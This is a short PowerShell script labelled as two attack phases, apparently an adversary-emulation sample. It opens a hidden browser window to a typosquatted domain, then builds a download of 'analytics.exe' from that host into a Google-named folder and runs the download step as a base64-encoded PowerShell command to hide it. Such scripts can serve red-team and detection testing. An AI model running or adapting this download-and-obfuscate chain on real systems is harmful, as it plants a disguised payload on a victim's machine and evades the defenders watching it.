Addy-Da-Baddy

# Phase 1: Initial compromise (typosquatting)
Start-Process "chrome.exe" "http://ads-goog1e[.]com?utm_id=3892" -WindowStyle Hidden
Start-Sleep -Seconds 30

# Phase 2: PowerShell download (obfuscated)
$payload_url = "http://ads-goog1e[.]com/analytics.exe"
$downloader = "Invoke-WebRequest -Uri '$payload_url' -OutFile `"`$env:ProgramData\Google\analytics.exe`""
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($downloader))
powershell.exe -EncodedCommand $encoded